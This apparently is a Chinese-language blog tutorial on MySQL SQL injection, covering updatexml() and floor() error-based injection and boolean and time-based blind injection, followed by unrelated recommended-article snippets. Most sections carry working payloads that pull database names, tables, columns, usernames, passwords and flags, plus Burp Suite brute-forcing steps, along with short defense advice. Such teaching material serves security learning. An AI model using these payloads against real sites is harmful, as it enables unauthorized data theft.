它和extractvalue()同属XML函数家族,但因报错机制同样被广泛用于SQL注入攻击。

//XML 可扩展标记语言

//HTML超全局语言

6.3.4.2.2. 语法与正常用法
UPDATEXML(xml_frag, xpath_expr, new_val)
  • xml_frag:要修改的XML片段(如<a><b>old</b></a>)。
  • xpath_expr:定位节点的XPath表达式(如/a/b)。
  • new_val:替换节点的新值(如new)。

updatexml函数在执行时,第二个参数应为合法的XPATH路径,否则会在引发报错的同时将传入的参数进行输出。

【若路径写错,会出现路径报错,比如,我在C盘里新建文件夹,然后删掉,在电脑里输入这个新建文件夹的路径,此时会出现文件报错。】

?id=1' or updatexml(1,concat(0x7e,(select users from wp_user),0x7e),1)

//concat 将三者连接在一起
//0x7e是十六进制


利用数据库执行报错:从里到外执行
select updatexml(1,concat(0x7e,(select database()),0x7e),1)
先执行(),,然后画横线的,这个时候updatexml会报错,,路径错误
报错时会输出错误的数据库名,,那就可以知道原先的数据库名

正常示例:

SELECT UPDATEXML('<a><b>old</b></a>', '/a/b', 'new');

执行结果:返回修改后的XML片段<a><b>new</b></a>。

6.3.4.2.3. 注入原理:为什么能用于报错注入?

updatexml()的漏洞逻辑与extractvalue()完全一致:

  • 若xpath_expr参数不符合XPath语法(如包含非法字符~),数据库会抛出错误,并将该表达式内容作为错误信息返回。
  • 攻击者通过concat()拼接敏感数据(如数据库名)到非法表达式中,利用报错直接泄露信息。
6.3.4.2.4. 经典注入Payload拆解

以泄露当前数据库名为例,Payload为:

updatexml(1, concat(0x7e, database(), 0x7e), 1)

各部分作用:

  1. updatexml(1, ..., 1):
    • 第一个参数1是无效占位符(仅满足函数格式)。
    • 第三个参数1也是无效占位符(攻击者不需要真正修改XML)。
  1. concat(0x7e, database(), 0x7e):
    • 0x7e:十六进制的~(破坏XPath语法,强制报错)。
    • database():返回当前数据库名(如security)。
    • 拼接后生成:~security~(非法XPath表达式)。

执行结果:

数据库报错并返回:

XPATH syntax error: '~security~'
攻击者直接从错误信息中读取security(当前数据库名)。

6.3.4.2.5. 与extractvalue()的对比

维度

extractvalue()

updatexml()

原始功能

提取XML节点值

修改XML节点值

注入原理

非法XPath触发报错

非法XPath触发报错

Payload差异

仅需2个参数(无需替换值)

需3个参数(第三个参数为无效占位符)

数据长度限制

报错信息最多返回32个字符

报错信息最多返回32个字符

6.3.4.2.6. 防御建议
  1. 关闭错误回显:生产环境禁用数据库错误直接输出到前端(如PHP设置display_errors=Off)。
  2. 输入过滤:对用户输入的XPath相关参数严格校验,过滤~、单引号等特殊字符。
  3. 使用预编译语句:通过PreparedStatement或ORM框架绑定参数,避免SQL拼接。
6.3.4.2.7. 一句话总结

updatexml()是XML修改工具,但因报错机制成为SQL注入的“常用武器”。防御核心是屏蔽错误信息+严格过滤输入,切断攻击者利用报错泄露数据的路径 🛡️。

6.3.4.2.8. level4可以用这个方法
6.3.4.3. floor()报错注入

【向上取整数ceiling()】

6.3.4.3.1. 基础定义:floor()是什么?

floor()是MySQL的数学函数,

作用是向下取整(返回小于等于输入值的最大整数)。

例如floor(3.9)返回3,floor(-2.1)返回-3。

6.3.4.3.2. 语法:
FLOOR(number)
6.3.4.3.3. 注入原理:为什么能用于“盲注”?

floor()本身不直接触发报错,但常与rand()、group by组合,通过主键冲突强制数据库报错,从而泄露数据。

这种手法称为**“floor()盲注”**,

核心逻辑是:

  1. rand()生成随机数:rand()每次执行返回0~1的随机浮点数(如0.78)。
  2. floor(rand(0)*2)固定随机序列:
    • rand(0):设置随机种子为0,让随机序列固定(如0,1,1,0,1...)。
    • *2:将范围扩大到0~2,floor()后得到0或1(固定序列)。
  1. group by分组冲突:
    • group by会创建临时表存储分组结果,若floor(rand(0)*2)生成的随机数重复,临时表主键冲突,触发报错。
  1. 拼接敏感数据:攻击者将concat(0x7e, database(), 0x7e)(数据库名)拼接到floor()中,让报错信息包含敏感数据。

思考

select floor(rand()*2) from users; 根据users的行数随机显示0或1
select floor(rand(0)*2) from users; 计算机不再随机,而是按一定顺序排序
select floor(rand(1)*2) from users; 计算机不再随机,而是按一定顺序排序


rand()无种子的“随机抽奖箱”
例子:
种子0的固定序列:0,1,1,0,1...(抽第1次是0,第2次是1,第3次是1,以此类推)。
种子1的固定序列:1,0,1,1,0...(抽第1次是1,第2次是0,第3次是1,以此类推)。
6.3.4.3.4. 经典注入Payload拆解

以泄露当前数据库名为例,Payload为:

select count(*), concat(0x7e, database(), 0x7e, floor(rand(0)*2)) as a from users group by a;

各部分作用:

  1. count(*):统计行数(仅为满足group by语法)。
  2. concat(0x7e, database(), 0x7e, floor(rand(0)*2)):
    • 0x7e:波浪线~(标记敏感数据)。
    • database():返回当前数据库名(如security)。
    • floor(rand(0)*2):生成固定随机序列0/1。
    • 拼接后生成:~security~0或~security~1。
  1. group by a:按拼接后的字符串分组,因随机序列固定,必然触发主键冲突。

执行结果:

数据库报错并返回:

Duplicate entry '~security~1' for key 'group_key'
攻击者从错误信息中读取security(当前数据库名)。

小剧场场景:

  1. 攻击者拿着“号码~security~0”去登记,登记处记录下来(临时表新增一条)。
  2. 接着又拿着“号码~security~1”登记,临时表再新增一条。
  3. 第三次又拿“号码~security~1”登记——重复了! 登记处崩溃,大喊:“Duplicate entry '~security~1'(重复登记~security~1)!”
  4. 攻击者从崩溃信息里,直接看到了藏在号码里的“秘密纸条”security(数据库名)。
爆出当前数据库

?id=1' and (select 1 from (select concat((select database()),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23

爆出所有的数据库 通过limit来控制

?id=1' and (select 1 from (select concat((select schema_name from information_schema.schemata limit 4,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23

爆出表名

?id=1' and (select 1 from (select concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23

爆出字段

?id=1' and (select 1 from (select concat((select column_name from information_schema.columns where table_name='user' limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23

爆出数据

?id=1' and (select 1 from (select concat((select username from users),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
6.3.4.3.5. 与extractvalue()/updatexml()的对比

维度

floor()盲注

extractvalue()/updatexml()

触发方式

主键冲突(group by

+rand())

【固定随机数+分组】

非法XPath语法

数据长度限制

无(报错信息可完整返回长数据)

最多返回32个字符

适用场景

盲注(无错误回显时也可能触发)

显错注入(需错误回显开启)

6.3.4.3.6. 防御建议
  1. 禁用危险函数:生产环境限制floor()、rand()等函数的使用(需评估业务影响)。
  2. 输入严格过滤:对用户输入的SQL参数进行白名单校验,禁止group by、rand()等关键字。
  3. 使用预编译语句:通过参数绑定避免SQL拼接,从根源阻止注入。
6.3.4.3.7. 一句话总结

floor()是数学取整工具,但与rand()、group by组合后,成为突破“盲注”的关键手段。防御核心是限制危险函数+避免SQL拼接,切断攻击者利用主键冲突泄露数据的路径 🛡️。

6.4. 布尔盲注

盲注:【笨蛋认为,其实就是在逐一尝试】

6.4.1. 原理

布尔盲注是一种**“是/否问答式”**的SQL注入手法——当数据库不返回错误信息,也不显示查询结果(页面只返回“成功/失败”两种状态)时,攻击者通过构造“真假问题”,逐步猜出敏感数据。

攻击者通过观察应用程序的响应(如页面内容的变化或 HTTP 状态码),推断出数据库中的信息。与传统的注入方式不同,布尔盲注不会直接返回查询结果,而是通过构造逻辑条件来判断数据库的内容。

【类似于海龟汤】

6.4.2. 核心逻辑:用“真假判断”拼出秘密

把数据库里的敏感信息(比如admin的密码)拆成单个字符,每次问数据库:“这个字符是不是a?是不是b?...” 直到拼出完整内容。

关键函数:

  • substr(str, pos, len):截取字符串(比如substr('admin',1,1)返回a)。
  • ascii():把字符转成ASCII码(比如ascii('a')=97)。
  • =/>/<:比较ASCII码,判断字符是否正确。
6.4.3. 布尔盲注的特点:
  1. 无显式错误信息返回
  2. 无查询结果直接显示
  3. 只能通过页面响应差异(如内容变化、HTTP状态码、响应时间等)来判断结果
  4. 通常需要逐字符猜测数据

【布尔盲注适用于没有回显明确报错,但会回显是否为正常页面

布尔盲注,即在页面没有错误回显时完成的注入攻击。

此时我们输入的语句让页面呈现出两种状态,相当于true和false,

根据这两种状态可以判断我们输入的语句是否查询成功。】

6.4.4. 前提:确认注入点

先构造“恒真”和“恒假”语句,验证页面是否有响应差异:

?id=1' and 1=1 --+  # 页面正常(条件为真)
?id=1' and 1=2 --+  # 页面错误(条件为假)

→ 若响应不同,说明存在布尔盲注漏洞。

6.4.5. 基本步骤
  1. 爆库名长度
  2. 根据库名长度爆库名
  3. 对当前库爆表数量
  4. 根据库名和表数量爆表名长度
  5. 根据表名长度爆表名
  6. 对表爆列数量
  7. 根据表名和列数量爆列名长度
  8. 根据列名长度爆列名
  9. 根据列名爆数据值

6.4.5.1. 爆库名长度

构造语句判断当前数据库名字长度:

length(str)                             //返回str字符串的长度。
1 and length(database())=4 		//判断数据库名字的长度是否为4
1 and length(database())>4 		//判断数据库名字长度是否大于4
6.4.5.2. 根据库名长度爆库名

对照ASCII表

得到当前数据库名称为sqli

substring(str, pos, len)

//将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始

?id=1' and length(database())=8 --+  //页面正常→数据库名长度为8


1 and substring(database(),1,1)='q'                       //判断数据库第一个字母是否为q
1 and substring(database(),2,1)='q'                       //判断数据库名字第二个字母是否为q

AND ASCII(SUBSTRING(database(),1,1))=97 -- 判断数据库名第一个字符的ASCII码是否为97('a')
【基于ascii码的盲注】

mid(str,pos,len)                                         //跟上面的用法一模一样,截取字符串
6.4.5.3. 对当前库爆表数量

输入

1 and (select count(table_name) from information_schema.tables
where table_schema=database())=2

得知共有两个表

【=2最终判断:当前数据库下的表数量是否等于2,逐个尝试3,4,5,】

6.4.5.4. 根据库名和表数量爆表名长度

例子:

  1. 输入

?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1

结果:#query_error

  1. 输入

?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=4

结果:#query_success

说明:#当前库sqli的第一张表表名长度为4

  1. 输入

?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 1,1)=4

结果:#query_success

说明:#当前库sqli的第二张表表名长度为4

  • limit 0,1:取information_schema.tables中符合条件的第1条记录(即当前数据库的第1张表)。
  • 注意观察limit i,1 i从0开始(第i+1张表)
  • 注释:得到表数量i后,i就是循环次数,i是表的下标-1,大循环i次(遍历所有表),这里的i从0开始,使用limit i ,1限定是第几张表,内嵌循环j从1到无穷(穷举所有表名长度可能性)尝试获取每个表的表名长度【一个嵌套循环】
6.4.5.5. 根据表名长度爆表名

再大循环i次(遍历所有表),内嵌循环j次(表名的所有字符),i是表下标-1,j是字符下标,再内嵌循环k从a到z(假设表名全是小写英文字符)尝试获取每个表的表名

【三层嵌套】

注意观察substr((select…limit i,1),j,1)

i从0开始(第i+1张表),j从1开始(第j个字符)

6.4.5.6. 对表爆列数量

操作同对当前库爆表数量的步骤,只是要查询的表不同

?id=1' and (select count(column_name) from information_schema.columns 
            where table_schema=database() and table_name='表名')
            =n --+

6.4.5.7. 根据表名和列数量爆列名长度

操作同对当前库爆表名长度的步骤,i是列标-1

  • 注意观察limit i,1
    i从0开始(第i+1列)
?id=1' and length(
  (select column_name from information_schema.columns 
   where table_schema=database() and table_name='表名' 
   limit i,1)
)=n --+

这个在判断他的长度,即length(仅查询当前数据库下users表的列信息,第几列)

用limit i,1定位列,用length()猜长度

【

  • 爆列数量是统计总数,用count();
  • 爆列名长度是定位单条记录+测长度,用limit+length()。

】

6.4.5.8. 根据列名长度爆列名

操作同对当前库爆表名的步骤,i是列标-1,j是字符下标

  • 注意观察substr((select…limit i,1),j,1))
    i从0开始(第i+1列),j从1开始(第j个字符)
?id=1' and substr(
  (select column_name from information_schema.columns 
   where table_schema=database() and table_name='表名' 
   limit i,1), 
pos,1
)='c' --+

pos是第几位,1,2,3,4.。。

c是指26字母中任意一个小写字母/数字

6.4.5.9. 根据列名爆数据值

flag有固定的格式,以右花括号结束,假设flag有小写英文字母、下划线、花括号构成,由于不知道flag长度,要一个无限循环,定义计数符j,内嵌循环i遍历小写、下划线和花括号,匹配到字符后j++,出循环的条件是当前i是右花括号,即flag结束

注意观察substr((select…),j,1)

j从1开始(flag的第j个字符)

用limit row,1定位行→用length()测数据长度→用substr(pos,1)逐位猜字符。

代码模板:

?id=1' and substr(
  (select 列名 from 表名 limit row,1), 
pos,1
)='c' --+

变量替换说明

变量

含义

示例值

列名

已知列名(如username)

username

表名

目标表名(如users)

users

row

行索引(从0开始,对应row+1行)

0→第1行

pos

字符位置(从1开始,对应数据的第pos位)

1→第1位

c

猜测的字符(小写字母/数字)

'a'(比如数据第1位是a)

实战步骤(以表名users、列名username、行索引row=0为例)

假设目标数据是admin(长度5),步骤如下:

  1. 先爆该行数据的长度(前置步骤):
    用length()猜该行数据的长度(比如admin长度为5):
?id=1' and length((select username from users limit 0,1))=5 --+
    • 页面正常→长度正确(L=5)。
  1. 爆破第1位字符(pos=1):
    尝试字符a(假设数据第1位是a):
?id=1' and substr((select username from users limit 0,1),1,1)='a' --+
    • 页面正常→猜中;页面错误→换字符(如b/c)。
  1. 爆破第2~5位字符:
    依次将pos设为2~5,尝试对应字符(比如d/m/i/n),最终拼接出admin。
6.4.6. 也可以使用python脚本

本人在这里不展开

6.4.7. 布尔盲注的攻击流程【整合】

步骤 1:确认注入点

  • 攻击者通过输入不同的值,观察应用程序的响应,确认是否存在布尔盲注漏洞。
  • 示例:
    • 输入 1 AND 1=1 和 1 AND 1=2,观察页面是否发生变化。

步骤 2:推导字段长度

  • 使用 LENGTH() 函数推导目标字段的长度。
  • 示例:
    • 输入 1 AND (SELECT LENGTH(password) FROM users WHERE id=1) = 8,逐步调整数字,直到找到正确的长度。

步骤 3:逐字符推导字段内容

  • 使用 SUBSTRING() 和 ASCII() 函数逐字符推导目标字段的内容。
  • 示例:
    • 输入 1 AND ASCII(SUBSTRING((SELECT password FROM users WHERE id=1), 1, 1)) = 97,逐步调整 ASCII 值,直到找到正确的字符。

步骤 4:拼接完整数据

  • 将逐字符推导出的内容拼接成完整的字段值。
6.4.8. 常用函数

函数

描述

示例

LENGTH()

返回字符串长度

LENGTH(database())

SUBSTRING()/SUBSTR()

提取子字符串

SUBSTRING(database(),1,1)

ASCII()

返回字符的ASCII码

ASCII(SUBSTRING(database(),1,1))

IF()

条件判断

IF(1=1,1,0)

SLEEP()

延迟执行

SLEEP(5)

ASCII()这个比较大小更加方便

6.4.9. 防御措施
  1. 使用参数化查询/预处理语句
  2. 实施最小权限原则
  3. 输入验证和过滤
  4. 错误处理:不返回详细错误信息
  5. Web应用防火墙(WAF)
  6. 定期安全测试

6.5. 时间盲注

web界面只返回一个正常页面。利用页面响应时间不同逐个猜解数据。

(数据库会执行命令代码,只是不反馈页面信息)

【布尔盲注是通过回显的对错提示来判断是否成功

时间盲注是通过手动控制页面返回时间来判断是否成功。】

6.5.1. 定义

也叫延时注入。通过观察页面,既没有回显数据库内容,又没有报错信息也没有布尔类型状态,那么我们可以考虑用“绝招”

--延时注入。延时注入就是将页面的时间线作为判断依据,一点一点注入出数据库的信息。我们以第9关为例,在id=1后面加单引号或者双引号,页面不会发生任何改变,所以我们考虑绝招延时注入。

6.5.2. 关键函数
6.5.2.1. sleep()函数:

延时函数,参数为休眠时长,可为小数,单位 秒。

select sleep();

sleep(N)函数 即如果写入到数据库被执行了,sleep(N)可以让此语句运行N秒钟(通过执行时间来判断是否被执行,但是可能会因网速等问题造成参数误差)

6.5.2.2. if()函数:

if(condition,true,false)

condition为条件,条件为真时返回true,条件为假时返回false。

select if(1=1,sleep(0),sleep(3));
#1=1为真,执行休眠0秒
select if(1=2,sleep(0),sleep(3));
#1=2为假,执行休眠3秒
6.5.2.3. substr()函数:

substr((),1,1) 从第一个字符开始,显示一个字符。

6.5.2.4. ascii()函数:

ascii(character)得到字符的ASCII码值。

6.5.3. 判断注入方式
6.5.3.1. 判断注入点

1)"and 1=1--+ 页面返回有数据

2)"and 1=0--+ 页面返回有数据

则:页面的返回没有变化,可能是盲注

6.5.3.2. 测试可注入方式

1)页面没有回显位置(联合注入无法使用)

2)页面不显示数据库的报错信息(报错注入无法使用)

3)无论成功还是失败,页面只响应一种结果(布尔盲注无法使用)

判断使用时间盲注

6.5.4. 判断闭合方式。

能成功等待2秒响应的即为其闭合方式。

?id=1 and sleep(2)--+
?id=1' and sleep(2)--+
?id=1" and sleep(2)--+
?id=1') and sleep(2)--+
?id=1") and sleep(2)--+
...
6.5.5. 构造时间延迟条件
  • 攻击方式:
    • 使用时间延迟函数(如 SLEEP()、WAITFOR DELAY)和子查询,构造逻辑条件。
  • 示例:
    • 用户输入:1 AND IF(ASCII(SUBSTRING((SELECT password FROM users WHERE id=1), 1, 1))=97, SLEEP(5), 0)
    • 拼接后的 SQL:
SELECT * FROM employees WHERE id = 1 
AND 
IF(ASCII(SUBSTRING((SELECT password FROM users WHERE id=1), 1, 1))=97, SLEEP(5), 0);
    • 效果:
      • 如果密码的第一个字符的 ASCII 值为 97(即 'a'),则查询延迟 5 秒;否则立即返回结果。
6.5.6. 推导字符串长度
  • 攻击方式:
    • 使用 LENGTH() 函数结合时间延迟函数,推导目标字段的长度。
  • 示例:
    • 用户输入:1 AND IF((SELECT LENGTH(password) FROM users WHERE id=1)=8, SLEEP(5), 0)
    • 拼接后的 SQL:
SELECT * FROM employees 
WHERE id = 1 
AND IF((SELECT LENGTH(password) FROM users WHERE id=1)=8, SLEEP(5), 0);
    • 效果:
      • 如果密码的长度是 8,则查询延迟 5 秒;否则立即返回结果。
6.5.7. 推导字符串内容
  • 攻击方式:
    • 使用 SUBSTRING() 和 ASCII() 函数逐字符推导目标字段的内容。
  • 示例:
    • 用户输入:1 AND IF(ASCII(SUBSTRING((SELECT password FROM users WHERE id=1), 1, 1))=97, SLEEP(5), 0)
    • 拼接后的 SQL:
SELECT * FROM employees WHERE id = 1
AND IF(ASCII(SUBSTRING((SELECT password FROM users WHERE id=1), 1, 1))=97, SLEEP(5), 0);
    • 效果:
      • 如果密码的第一个字符的 ASCII 值为 97(即 'a'),则查询延迟 5 秒;否则立即返回结果。
6.5.8. 时间盲注的攻击流程

步骤 1:确认注入点

  • 攻击者通过输入不同的值,观察应用程序的响应时间,确认是否存在时间盲注漏洞。
  • 示例:
    • 输入 1 AND SLEEP(5),观察页面是否延迟 5 秒。

步骤 2:推导字段长度

  • 使用 LENGTH() 函数结合时间延迟函数,推导目标字段的长度。
  • 示例:
    • 输入 1 AND IF((SELECT LENGTH(password) FROM users WHERE id=1)=8, SLEEP(5), 0),逐步调整数字,直到找到正确的长度。

步骤 3:逐字符推导字段内容

  • 使用 SUBSTRING() 和 ASCII() 函数结合时间延迟函数,逐字符推导目标字段的内容。
  • 示例:
    • 输入 1 AND IF(ASCII(SUBSTRING((SELECT password FROM users WHERE id=1), 1, 1))=97, SLEEP(5), 0),逐步调整 ASCII 值,直到找到正确的字符。

步骤 4:拼接完整数据

  • 将逐字符推导出的内容拼接成完整的字段值。
6.5.9. 可以使用别的方法--burpsuite爆破
6.5.9.1. 判断数据库的长度
?id=1 and if(length(database())>=5,sleep(3),sleep(1))
# 执行休眠1秒
?id=1 and if(length(database())>=4,sleep(3),sleep(1))
#执行休眠3秒
#数据库名长度为4
6.5.9.2. 爆数据库的库名
?id=1 and if(substring(database(),1,1)='a',sleep(5),sleep(1))
#执行休眠1秒
...
?id=1 and if(substring(database(),1,1)='s',sleep(5),sleep(1))
#执行休眠5秒
#数据库第一个字符为s
?id=1 and if(substring(database(),2,1)='q',sleep(5),sleep(1))
#执行休眠5秒
#数据库第一个字符为q
 

#随便输入一个字符,无论正确与否,使用burpsuite进行抓包,将抓到的包发送到intruder模块。

(1)攻击类型选为Cluster bomb

(2)选择要进行爆破的字符,一个是第一个1,一个是a

(3)设置第一个字符的payload,类型为Numbers

(已经知道长度为4,可以直接设置为4,不知道时 设置比需要爆破字符的长度长。)

(4)设置第二个需要爆破字符的payload,类型为Simple list

(爆破字段为26个英文字母)

(5)点击开始攻击得到结果,sleep(5)要筛选出响应时间大于5s的数据包。

在columns里面勾选Response received和Response completed这两个选项,再进行筛选,响应时间最大的四个就是执行成功的——sqli。

(布尔盲注直接使用length进行筛选:按照length从高到低排序 前面四个即为结果,按照payload1的顺序进行排序得到数据库名sqli。)

6.5.9.3. 爆数据表名
?id=1 
and 
if(substring(
  (select table_name from information_schema.tables 
   where table_schema='sqli' limit 0,1),1,1)='q',sleep(5),sleep(1))

#limit 0,1第一个表 
substring((),1,1)从第一个字符开始,显示一个字符

...

?id=1 
and 
if(substring(
  (select table_name from information_schema.tables 
   where table_schema='sqli' limit 1,1),1,1)='q',sleep(5),sleep(1))
   
##limit 1,1第二个表 
substring((),1,1)从第一个字符开始,显示一个字符
...

使用burpsuite爆破

6.5.9.4. 爆数据列名
?id=1 and 
if(substring(
  (select column_name from information_schema.columns 
   where table_name='flag'),1,1)='q',sleep(5),sleep(1))

使用bp爆破

6.5.9.5. 爆flag

此处payload1的长度较大 可为40,,payload2的字典除26个字母外还有10个数字 ’{’ ’}'这两个字符。

?id=1 and if(substring((select flag from sqli.flag),1,1)='q',sleep(5),1)

6.5.10. 其他方法--python脚本

这个我先不展开

6.5.11. 其他方法之--sqlmap工具

【这个工具下载,整理在其他地方】

6.5.12. 布尔和时间盲注有什么区别

特性

布尔盲注

时间盲注

判断依据

应用程序的响应内容(如页面内容的变化)

应用程序的响应时间(如延迟或正常返回)

依赖条件

数据库查询结果会影响应用程序的输出

数据库查询结果会触发时间延迟函数

适用场景

应用程序对查询结果有明确的反馈

应用程序对查询结果无明显反馈,但支持延迟函数

攻击效率

相对较高(直接观察页面变化)

较低(需要等待延迟时间)

sql注入是怎么攻击的 SQL注入攻击是一种针对应用程序的安全漏洞,攻击者通过操纵应用程序的输入接口,向后台数据库发送精心构造的恶意SQL查询,从而达到非法获取、修改、删除数据,甚至获得数据库乃至服务器的控制权。盲注分为布尔盲注和时间盲注等类型。: 攻击者利用SQL语法特性,向输入字段提交含有特殊字符(如单引号、双引号、分号、注释符等)和SQL关键字的输入数据,目的是干扰原有查询语句的结构,使其按照攻击者的意图执行。针对支持存储过程的应用,攻击者可能利用存储过程的调用来执行更复杂的攻击逻辑,如执行系统命令、遍历目录、读取文件等。 阅读详情

相关推荐

DCDC BUCK开关电源PCB设计

在开关电源中,BUCK(降压)电路、BOOST(升压)电路以及BUCK - BOOST(升降压)三种电路是最基本的拓扑结构。转换器又分DCDC(直流转直流)和ACDC(交流转直流),DCDC装换器结构无疑是比ACDC转换器结构简单,所以从DCDC转换器结构入手学习开关电源是一种很好的选择。本文主要从应用角度,进行相关器件的选型计算以及PCB绘制讲解DCDC 12V转5Vbuck电路。

2301_78342510的博客 6883

SQL注入的详细过程

SQL注入详细过程:SQL注入的详细过程第一步:SQL注入点探测。探测SQL注入点是关键的第一步,通过适当的分析应用程序,可以判断什么地方存在SQL注入点。通常只要带有输入提交的动态网页,并且动态网页访问数据库,就可能存在SQL注入漏洞。如果程序员信息安全意识不强,采用动态构造SQL语句访问数据库,并且对用户输入未进行有效验证,则存在SQL注入漏洞的可能性很大。一般通过页面的报错信息来确定是否存在SQL注入漏洞。 SQL注入的详细过程第二步:收集后台数据库信息。不同数据库的注入方法、函数都不尽相同,因此在

计算机毕业论文源码,学生个人网页制作html源码。贴近用户做网络推广和互联网优化。 1697

别再为PT100测温发愁了!手把手教你用ADS1247+STM32搞定高精度温度采集(附完整源码)

本文详细介绍了如何利用ADS1247高精度ADC与STM32微控制器构建PT100测温系统,实现±0.1℃的温度测量精度。内容涵盖硬件设计、寄存器配置、SPI通信优化及温度换算算法,特别适合工业自动化和精密仪器领域的嵌入式开发人员参考。

weixin_26897585的博客 428

sql注入攻击的原理(非常详细),零基础入门到精通,看这一篇就够了

本文介绍了SQL注入漏洞的原理及在MySQL数据库中的实践应用。文章首先阐述了SQL注入的定义和产生条件,即用户可控参数被直接用于数据库查询且缺乏有效过滤。随后重点讲解了MySQL注入相关知识,包括常用函数(version()、database()等)、系统数据库information_schema的结构(schemata、tables、columns表)以及文件读写操作。最后从注入点类型、数据提交方式和执行效果三个维度对SQL注入进行了分类,涵盖报错注入、盲注、堆叠注入等多种攻击方式。文章为网络安全学习者

2401_84205765的博客 1312

深入解析STM32官方库:.c/.h文件功能与应用场景

本文深入解析了STM32官方库中.c和.h文件的核心功能与应用场景。详细剖析了stm32f10x.h、启动文件、外设驱动文件等关键组件的作用,并通过LED闪烁实战演示了如何构建工程、配置文件和调用库函数。文章旨在帮助开发者理解官方库的架构,掌握高效使用技巧,从而降低STM32开发门槛,提升开发效率与代码质量。

weixin_29189377的博客 351

传输线的特征阻抗

信号源内阻与所接传输线的特性阻抗大小相等且相位相同,或传输线的特性阻抗与所接负载阻抗的大小相等且相位相同,分别称为传输线的输入端或输出端处于阻抗匹配状态,简称为阻抗匹配。否则,便称为阻抗失配。有时也直接叫做匹配或失配。指一个电路输入端的等效阻抗。在输入端上加上一个电压源U,测量输入端的电流I,则输入阻抗Rin就是U/I。可以把输入端想象成一个电阻的两端,这个电阻的阻值,就是输入阻抗。- 对于电压驱动的电路,输入阻抗越大,则对电压源的负载就越轻,因而就越容易驱动,也不会对信号源有影响;

学海无涯的专栏 4464

SQL注入攻击与防护

攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,并且插入的恶意SQL命令会导致原有SQL语句作用发生改变,从而得到欺骗服务器执行恶意SQL命令的一种攻击方式。① 概述开源的自动化SQL注入工具,由Python写成② 主要功能扫描、发现、利用给定URL的SQL注入漏洞③ 特点。

weixin_62707591的博客 7374

Unity中的Timeline

Timeline与动画系统类似,但是它可以针对多个物体做出一系列多个动画,它可以创建多个轨道,对象激活与隐藏轨道,动画轨道,声音轨道等。每个轨道都可以单独编辑,轨道内的不同资源可以排列并且融合

L的博客 1万+

sql注入(整数型注入)

SQL注入是一种非常常见的数据库攻击手段,SQL注入漏洞也是网络世界中最普遍的漏洞之一。SQL注入其实就是恶意用户通过在表单中填写包含SQL关键字的数据来使数据库执行非常规代码的过程。简单来说,就是数据「越俎代庖」做了代码才能干的事情。这个问题的来源是,SQL数据库的操作是通过SQL语句来执行的,而无论是执行代码还是数据项都必须写在SQL语句之中,这就导致如果我们在数据项中加入了某些SQL语句关键字(比如说SELECT、DROP等等),这些关键字就很可能在数据库写入或读取数据时得到执行。

2401_82760239的博客 1623

C++软件调试与异常排查从入门到精通专栏介绍与文章汇总

根据近几年排查软件异常的实践与经验,系统地讲解了C++软件异常常见原因与常用排查方法,以图文并茂的方式给出具体的分析实例,带领大家逐步掌握C++软件异常排查的相关技术与要领。

dvlinker的技术专栏 23万+

YOLOv10精度上不去?QAT量化感知训练全流程,INT8推理mAP只掉0.8%

普通PTQ量化虽简单,但无法应对YOLOv10的小目标特征和激活分布波动,导致精度暴跌。QAT通过“模拟量化误差+联合优化权重与量化参数”,让INT8模型精度接近FP16,同时速度提升1.8倍,完美适配实时检测场景(如安防监控、自动驾驶)。该流程已在工业级项目中验证,针对YOLOv10的优化策略(敏感层保护、小目标加权、分阶段训练)可直接迁移至其他YOLO系列(v8/v9),量化后精度损失均可控制在1%以内。

专注于Python爬虫开发,分享爬虫技巧、项目实战与反爬经验,使用Scrapy、BeautifulSoup等工具,解决数据抓取难题。 915

SQL注入基础

SQL注入攻击的核心是攻击者利用应用程序对用户输入缺乏严格验证的漏洞,将恶意的SQL代码注入到正常的SQL查询语句中。当应用程序将用户输入直接拼接到SQL语句中时,攻击者可以通过构造特殊的输入,改变原SQL语句的逻辑,使其执行攻击者预期的恶意操作。假设有一个用户登录页面,用户名和密码通过用户输入获取。如果用户输入的用户名为,密码为由于'1'='1'始终为真,这条语句会返回users表中的所有用户信息,导致攻击者可以绕过正常登录验证。

qq_74349936的博客 913

【从零开始学习 SystemVerilog】1.1、SystemVerilog 概述

【从零开始学习 SystemVerilog】1.1、SystemVerilog 概述

努力,加油每一天鸭~ 1037

SQL注入与libinjection分析(1)SQL注入

SQL注入与libinjection分析(1)SQL注入1. SQL注入1.1 什么是SQL注入?1.2 为什么会有SQL注入?1.3 SQL注入举例1.4 SQL注入特点1.5 SQL注入攻击过程1.5.1 第一步:SQL注入点探测。1.5.2 第二步:收集后台数据库信息。1.5.3 第三步:猜解用户名和密码。1.5.4 第四步:查找Web后台管理入口。1.5.5 第五步:入侵和破坏。2. SQ...

哈尼的博客 1563

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for 